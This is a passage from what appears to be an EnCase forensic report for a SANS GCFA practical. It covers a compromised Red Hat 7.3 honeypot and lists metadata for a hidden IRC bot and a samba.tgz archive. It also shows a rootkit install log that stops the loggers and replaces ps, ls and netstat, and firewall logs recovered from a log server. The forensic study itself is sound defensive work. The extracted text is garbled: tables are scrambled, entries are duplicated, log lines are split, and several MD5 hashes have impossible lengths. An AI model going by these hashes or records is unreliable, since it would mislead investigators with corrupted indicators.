<td>Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/ /tmp/.font- unix/.X11-pipe/randfiles/randpickup.e</td>
<td>Entry Modified: 06/29/03 03:32:50PM</td>
<td>Last Accessed: 06/29/03 03:32:50PM</td>
<td>Last Written: 10/09/00 06:22:02PM</td>
<td>Hash Value: d05256617d3228d1e4d6d64bd0529</td>
<td>Physical Size: 3,072</td>
<td>Logical Size: 2,495</td>
</tr>
<tr>
<td>265) Makefile.in</td>
<td>Description File</td>
<td>Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/ /tmp/.font- unix/.X11-pipe/src/Makefile.in</td>
<td>Entry Modified: 06/29/03 03:32:50PM</td>
<td>Last Accessed: 06/29/03 03:32:50PM</td>
<td>Last Written: 10/09/00 06:22:02PM</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
### Hash Value
f87636f121d2087482ee5cbea3934fb3
**Physical Size** 3,072
**Logical Size** 3,002

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/27/01 07:15:16AM</td>
<td>a1b52263b8a66d7c90fc549ef70230c4</td>
<td>41,984</td>
<td>41,966</td>
</tr>
</tbody>
</table>

**Comment:**

266) **Name**: commands.c
**Description**: File
**Full Path**: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\commands.c
**Entry Modified**: 06/29/03 03:32:50PM
**Last Accessed**: 06/29/03 03:32:50PM
**Last Written**: 02/27/01 07:15:16AM
**Hash Value**: a1b52263b8a66d7c90fc549ef70230c4
**Physical Size**: 41,984
**Logical Size**: 41,966

267) **Name**: dcc.c
**Description**: File
**Full Path**: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\dcc.c
**Entry Modified**: 06/29/03 03:32:50PM
**Last Accessed**: 06/29/03 03:32:50PM
**Last Written**: 10/09/00 06:22:02PM
**Hash Value**: e079886945868cdbd4a5e4952b4cbbb0
**Physical Size**: 10,240
**Logical Size**: 9,929

268) **Name**: global.h
**Description**: File
**Full Path**: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\global.h
**EntryModified**: 06/29/03 03:32:50PM
**Last Accessed**: 06/29/03 03:32:50PM
**Last Written**: 02/26/01 06:12:04PM
**Hash Value**: c0f09ce5d8d0a233cf59a39a8fa089be
**Physical Size**: 12,288
**Logical Size**: 12,044

269) **Name**: structs.h
**Description**: File
**Full Path**: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\structs.h
**Entry Modified**: 06/29/03 03:32:50PM
**Last Accessed**: 06/29/03 03:32:50PM
**Last Written**: 02/26/01 04:27:42PM
**Hash Value**: 7f4edf55bb5062c91208397bf4c3738c
**Physical Size**: 8,264
**Logical Size**: 8,264

270) **Name**: config.h
**Description**: File
**Full Path**: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\config.h
**Entry Modified**: 06/29/03 03:32:50PM
EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report

Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 01:50:54PM
Hash Value 3ac8152d92ce3822bd6eafe4a777da13
Physical Size 9,216
Logical Size 8,249

271) Name combot.o
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\combot.o
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 02:00:24PM
Hash Value 1568e3352c2d6b242f7ad9a68ba1923f0
Physical Size 68,608
Logical Size 67,624

272) Name dcc.o
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\dcc.o
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 02:00:26PM
Hash Value 5b71f957cb4413bd2a436f56deba6d0f
Physical Size 56,320
Logical Size 55,580

273) Name function.o
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\function.o
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 02:00:28PM
Hash Value cdc0ec786c3c71249b744c017c510ffd
Physical Size 74,752
Logical Size 74,052

274) Name main.o
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\main.o
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 02:00:32PM
Hash Value 4af75da2abc5aa65f66515d29fd095b
Physical Size 81,920
Logical Size 81,328

275) Name xmech.o
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\xmech.o
Entry Modified 06/29/03 03:32:50PM

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
EnCase Computer Analysis Report

Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 02:00:38PM
Hash Value 43ca3fc3c75f56e00c75677de8ed6c43
Physical Size 86,016
Logical Size 85,984

276) Name randinsult.e
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\randfiles\randinsult.e
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value a1b350ce4e06837627b4e9c16e8c9f7
Physical Size 4,096
Logical Size 3,982

277) Name randinsult.e
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\randfiles\randinsult.e
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value a1b350ce4e06837627b4e9c16e8c9f7
Physical Size 4,096
Logical Size 3,982

278) Name randversions.e
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\randfiles\randversions.e
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value 0b252e189020453aad18b93913e44ec3
Physical Size 2,048
Logical Size 1,465

279) Name com-ons.c
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\com-ons.c
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 02/27/01 07:14:04AM
Hash Value daf8812cc62b784f6d6a10ef388288d7
Physical Size 28,672
Logical Size 28,470

280) Name defines.h
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\defines.h
<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>854b211a185d795497cc0a21c7778249</td>
<td>5,120</td>
<td>4,508</td>
</tr>
</tbody>
</table>

281) Name: h.h  
Description: File  
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/h.h
Entry Modified: 06/29/03 03:32:50PM  
Last Accessed: 06/29/03 03:32:50PM  
Last Written: 02/26/01 06:00:24PM  
Hash Value: 8e0b21b02c62373ed8bca9974ee10776  
Physical Size: 16,384  
Logical Size: 15,681

282) Name: main.c  
Description: File  
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/main.c
Entry Modified: 06/29/03 03:32:50PM  
Last Accessed: 06/29/03 03:32:50PM  
Last Written: 02/26/01 06:13:24PM  
Hash Value: 0b82e8deab893fffb5cba121cfcf6b864  
Physical Size: 21,504  
Logical Size: 21,078

283) Name: parse.c  
Description: File  
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/parse.c
Entry Modified: 06/29/03 03:32:50PM  
Last Accessed: 06/29/03 03:32:50PM  
Last Written: 10/22/00 10:47:20AM  
Hash Value: 2fe83f9857e0205c5759f45926d17a35b  
Physical Size: 22,528  
Logical Size: 22,527

284) Name: vars.c  
Description: File  
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/vars.c
Entry Modified: 06/29/03 03:32:50PM  
Last Accessed: 06/29/03 03:32:50PM  
Last Written: 10/09/00 06:22:02PM  
Hash Value: 57bdcdba9d9126a49472d85485bae729  
Physical Size: 10,240  
Logical Size: 10,190

285) Name: vars.c  
Description: File  
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/vars.c
Entry Modified: 06/29/03 03:32:50PM  
Last Accessed: 06/29/03 03:32:50PM
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>286) cfgfile.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-\unix\X11-pipe\src\cfgfile.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:20PM</td>
<td>0a445c0fa05cf6b6d34af0fc99e9c2</td>
<td>71,680</td>
<td>71,392</td>
</tr>
<tr>
<td>287) com-ons.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-\unix\X11-pipe\src\com-ons.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:22PM</td>
<td>1f39ee4b22d6e67cae4269eccf955e</td>
<td>92,160</td>
<td>91,396</td>
</tr>
<tr>
<td>288) socket.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-\unix\X11-pipe\src\socket.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:34PM</td>
<td>f24d2e6209d9af3cb33f16714d5b035</td>
<td>56,320</td>
<td>55,316</td>
</tr>
<tr>
<td>289) TODO</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-\unix\X11-pipe\TODO</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:10PM</td>
<td>10/09/00 06:22:02PM</td>
<td>d4179b6ed4a192b8a7e13e8f8773943e</td>
<td>2,048</td>
<td>1,569</td>
</tr>
<tr>
<td>290) Makefile</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-\unix\X11-pipe\Makefile</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:34:10PM</td>
<td>10/09/00 06:22:02PM</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

Hash Value: e452f0b4dab0676f4a2cd6e1a3abe570
Physical Size: 3,072
Logical Size: 2,147

291) Name: samba.tgz
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\samba.tgz
Entry Modified: 06/29/03 03:41:42PM
Last Accessed: 06/29/03 03:41:56PM
Last Written: 04/29/03 06:48:30AM
Hash Value: 4c41dbabb341cf57e56c0394d6efc3d3
Physical Size: 13,312
Logical Size: 13,183

Log files

Log file information

292) Name: cron.1
Entry Modified: 06/29/03 04:02:05AM
Last Accessed: 06/29/03 04:02:00AM
Last Written: 06/29/03 04:02:04AM
Hash Value: f8670b0876691e1f24dde35972127642
Comment: last log entries in cron.1 - normal

Jun 29 04:01:01 rh1 CROND[10319]: (root) CMD (run-parts /etc/cron.hourly)
Jun 29 04:02:00 rh1 CROND[10321]: (root) CMD (run-parts /etc/cron.daily)
Jun 29 04:02:04 rh1 anacron[10485]: Updated timestamp for job `cron.daily' to 2003-06-29

293) Name: access_log
Entry Modified: 06/29/03 03:36:49PM
Last Accessed: 06/30/03 04:02:03AM
Last Written: 06/29/03 03:36:49PM
Hash Value: e32d45931d3dd58258ce7bb68798cd02
Comment: httpd access log

294) Name: install.log
Entry Modified: 06/29/03 03:25:20PM
Last Accessed: 06/29/03 03:25:20PM
Last Written: 06/29/03 03:25:20PM

Install log from /tmp/.s directory
EnCase Computer Analysis Report

Hash Value 65025494af2c14aeb979024429159fb8

Comment: Install log from /tmp/.s/

Installing
chattr: No such file or directory while trying to stat /usr/local/sbin/sshd
Shutting down kernel logger: [ OK ]
Shutting down system logger: [ OK ]
touch: getting attributes of `ps': No such file or directory
touch: getting attributes of `ls': No such file or directory
  |-ps
  | PS --> failed
  |--top
  TOP --> OK
  |---pstree
  PSTREE --> failed
  |----killall
  KILLALL --> OK
  |------ls-dir-vdir
  LS DIR VDIR --> failed
  |------find
  FIND ---> OK
  |-------du
  DU ---> OK
  |-------netstat
  NETSTAT ---> OK
### Var partition from Logserver

#### Device
- Evidence Number: Var partition from logserver
- File Path: C:sans\evidence files\Var partition from logserver.E01
- Actual Date: 10/14/03 09:07:37PM
- Target Date: 10/14/03 09:07:37PM
- Total Size: 1,073,709,056 bytes (1,024.0MB)
- Total Sectors: 2,097,088
- File Integrity: Completely Verified, 0 Errors
- EnCase Version: 4.15
- System Version: Windows XP
- Acquisition Hash: CB51CFD7889DE261C0B94456C9D68819
- Verify Hash: CB51CFD7889DE261C0B94456C9D68819

#### Logging events recovered from unallocated Clusters on /var partition of Logserver.

### Logs before logging shutdown on Linux 7.3 system

#### 295)
- Name: Unallocated Clusters
- Entry Modified: 10/14/03 09:07:37PM
- Last Accessed: 10/14/03 09:07:37PM
- Last Written: 10/14/03 09:07:37PM
- Hash Value: CB51CFD7889DE261C0B94456C9D68819

**Comment:** Firewall Log from log Server - before logging shutdown

<table>
<thead>
<tr>
<th>Name</th>
<th>Unallocated Clusters</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Jun 29 15:04:50</td>
<td>192.168.1.1</td>
<td>15:04:50</td>
<td>15:04:50</td>
<td></td>
<td></td>
</tr>
<tr>
<td>fw=&quot;GNAT-Box&quot;</td>
<td>pri=6</td>
<td>flt_type=RAF</td>
<td>msg=&quot;Received (3)&quot;</td>
<td>rule=3 proto=443/tcp srcport=XXX.XXX.XXX.XXX.108.64 dstport=4498 dst=XXX.XXX.XXX.XXX.5.35 filetype=RAF interface=sis1 flags=0x2</td>
<td></td>
</tr>
<tr>
<td>Jun 29 15:04:50</td>
<td>192.168.1.1</td>
<td>15:04:50</td>
<td>15:04:50</td>
<td></td>
<td></td>
</tr>
<tr>
<td>fw=&quot;GNAT-Box&quot;</td>
<td>pri=6</td>
<td>msg=&quot;FILT ER: 33 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx&quot; type=mgmt</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Jun 29 15:04:50</td>
<td>192.168.1.1</td>
<td>15:04:50</td>
<td>15:04:50</td>
<td></td>
<td></td>
</tr>
<tr>
<td>fw=&quot;GNAT-Box&quot;</td>
<td>pri=4</td>
<td>flt_type=RAF</td>
<td>msg=&quot;Accept RAF (3)&quot;</td>
<td>rule=3 proto=443/tcp srcport=XXX.XXX.108.64 dstport=34998 dst=XXX.XXX.XXX.XXX.5.35 filetype=RAF interface=sis1 flags=0x2</td>
<td></td>
</tr>
<tr>
<td>Jun 29 15:04:50</td>
<td>192.168.1.1</td>
<td>15:04:50</td>
<td>15:04:50</td>
<td></td>
<td></td>
</tr>
<tr>
<td>fw=&quot;GNAT-Box&quot;</td>
<td>pri=6</td>
<td>msg=&quot;FILT ER: 35 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx&quot; type=mgmt</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>fw=&quot;GNAT-Box&quot;</td>
<td>pri=6</td>
<td>flt_type=RAF</td>
<td>msg=&quot;Received (3)&quot;</td>
<td>rule=3 proto=443/tcp srcport=XXX.XXX.108.64 dstport=34998 dst=XXX.XXX.XXX.XXX.5.35 filetype=RAF interface=sis1 flags=0x2</td>
<td></td>
</tr>
<tr>
<td>fw=&quot;GNAT-Box&quot;</td>
<td>pri=6</td>
<td>msg=&quot;FILT ER: 35 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx&quot; type=mgmt</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>fw=&quot;GNAT-Box&quot;</td>
<td>pri=4</td>
<td>flt_type=RAF</td>
<td>msg=&quot;Accept RAF (3)&quot;</td>
<td>rule=3 proto=443/tcp srcport=XXX.XXX.108.64 dstport=34998 dst=XXX.XXX.XXX.XXX.5.35 filetype=RAF interface=sis1 flags=0x2</td>
<td></td>
</tr>
</tbody>
</table>
| Jun 29 15:04:51       | 192.168.1.1          | 15:04:51       | 15:04:51      | te...
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT" prl=6 msg="FILT ER: 44 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to 1x type=mgmt
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT" prl=4 flt_type= RAF flt_action=pass msg="Received (3)
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT" prl=6 flt_type= RAF flt_action=pass msg="Received (3)
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT" prl=6 flt_type= RAF flt_action=pass msg="Received (3)
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT" prl=6 flt_type= RAF flt_action=pass msg="Received (3)
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT" prl=6 flt_type= RAF flt_action=pass msg="Received (3)
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT" prl=6 flt_type= RAF flt_action=pass msg="Received (3)
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT" prl=6 flt_type= RAF flt_action=pass msg="Received (3)
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT" prl=6 flt_type= RAF flt_action=pass msg="Received (3)
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT" prl=6 flt_type= RAF flt_action=pass msg="Received (3)
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT" prl=6 flt_type= RAF flt_action=pass msg="Received (3)
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT" prl=6 flt_type= RAF flt_action=pass msg="Received (3)
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT" prl=6 flt_type= RAF flt_action=pass msg="Received (3)
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT" prl=6 flt_type= RAF flt_action=pass msg="Received (3)
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT" prl=6 flt_type= RAF flt_action=pass msg="Received (3)
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT" prl=6 flt_type= RAF flt_action=pass msg="Received (3)
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT" prl=6 flt_type= RAF flt_action=pass msg="Received (3)
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT" prl=6 flt_type= RAF flt_action=pass msg="Received (3)
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT" prl=6 flt_type= RAF flt_action=pass msg="Received (3)
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT" prl=6 flt_type= RAF flt_action=pass msg="Received (3)
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT" prl=6 flt_type= RAF flt_action=pass msg="Received (3)
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT" prl=6 flt_type= RAF flt_action=pass msg="Received (3)
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT" prl=6 flt_type= RAF flt_action=pass msg="Received (3)
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT" prl=6 flt_type= RAF flt_action=pass msg="Received (3)
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT" prl=6 flt_type= RAF flt_action=pass msg="Received (3)
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT" prl=6 flt_type= RAF flt_action=pass msg="Received (3)
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT" prl=6 flt_type= RAF flt_action=pass msg="Received (3)
Jun 29 15:04:53 192.168.1.1 id=firewall time="2003-06-29 15:04:53" fw="GNAT" prl=6 flt_type= RAF flt_action=pass msg="Received (3)

Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 70 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=4 flt_type= RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35026 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2

Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 71 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=4 flt_type= RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35026 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2

Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 73 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 74 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=4 flt_type= RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35026 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2

Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 75 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 76 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 77 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:02 192.168.1.1 id=firewall time="2003-06-29 15:06:02" fw="GNAT-Box" pri=6 msg="FILT ER: 79 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:02 192.168.1.1 id=firewall time="2003-06-29 15:06:02" fw="GNAT-Box" pri=6 msg="FILT ER: 80 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:02 192.168.1.1 id=firewall time="2003-06-29 15:06:02" fw="GNAT-Box" pri=6 msg="FILT ER: 81 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:02 192.168.1.1 id=firewall time="2003-06-29 15:06:02" fw="GNAT-Box" pri=6 msg="FILT ER: 83 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
ER: 87 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:04 192.168.1.1 id=firewall time="2003-06-29 15:06:04" fw="GNAT-Box" pri=4 flt_type=
RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35042 ds
t=XXX.XXX.5.35 dstport=443 interface=xis1 flags=0x2
Jun 29 15:06:05 192.168.1.1 id=firewall time="2003-06-29 15:06:05" fw="GNAT-Box" pri=6 flt_type=
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35043 dst=
XXX.XXX.5.35 dstport=443 interface=xis1 flags=0x2
Jun 29 15:06:05 192.168.1.1 id=firewall time="2003-06-29 15:06:05" fw="GNAT-Box" pri=6 msg="FILT
ER: 88 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:05 192.168.1.1 id=firewall time="2003-06-29 15:06:05" fw="GNAT-Box" pri=6 flt_type=
RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35043 ds
t=XXX.XXX.5.35 dstport=443 interface=xis1 flags=0x2
Jun 29 15:06:05 192.168.1.1 id=firewall time="2003-06-29 15:06:05" fw="GNAT-Box" pri=6 flt_type=
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35044 dst=
XXX.XXX.5.35 dstport=443 interface=xis1 flags=0x2
Jun 29 15:06:05 192.168.1.1 id=firewall time="2003-06-29 15:06:05" fw="GNAT-Box" pri=6 flt_type=
ER: 90 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:05 192.168.1.1 id=firewall time="2003-06-29 15:06:05" fw="GNAT-Box" pri=6 flt_type=
RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35045 dst=
XXX.XXX.5.35 dstport=443 interface=xis1 flags=0x2
Jun 29 15:06:05 192.168.1.1 id=firewall time="2003-06-29 15:06:05" fw="GNAT-Box" pri=6 flt_type=
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35045 dst=
XXX.XXX.5.35 dstport=443 interface=xis1 flags=0x2
Jun 29 15:06:05 192.168.1.1 id=firewall time="2003-06-29 15:06:05" fw="GNAT-Box" pri=6 flt_type=
ER: 92 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:05 192.168.1.1 id=firewall time="2003-06-29 15:06:05" fw="GNAT-Box" pri=6 flt_type=
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35046 dst=
XXX.XXX.5.35 dstport=443 interface=xis1 flags=0x2
Jun 29 15:06:05 192.168.1.1 id=firewall time="2003-06-29 15:06:05" fw="GNAT-Box" pri=6 flt_type=
ER: 93 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:05 192.168.1.1 id=firewall time="2003-06-29 15:06:05" fw="GNAT-Box" pri=6 flt_type=
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35046 dst=
XXX.XXX.5.35 dstport=443 interface=xis1 flags=0x2
Jun 29 15:06:05 192.168.1.1 id=firewall time="2003-06-29 15:06:06" fw="GNAT-Box" pri=6 flt_type=
ER: 95 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:05 192.168.1.1 id=firewall time="2003-06-29 15:06:05" fw="GNAT-Box" pri=6 flt_type=
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35046 dst=
XXX.XXX.5.35 dstport=443 interface=xis1 flags=0x2
Jun 29 15:06:05 192.168.1.1 id=firewall time="2003-06-29 15:06:06" fw="GNAT-Box" pri=6 flt_type=
ER: 96 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:05 192.168.1.1 id=firewall time="2003-06-29 15:06:06" fw="GNAT-Box" pri=6 flt_type=
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35051 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
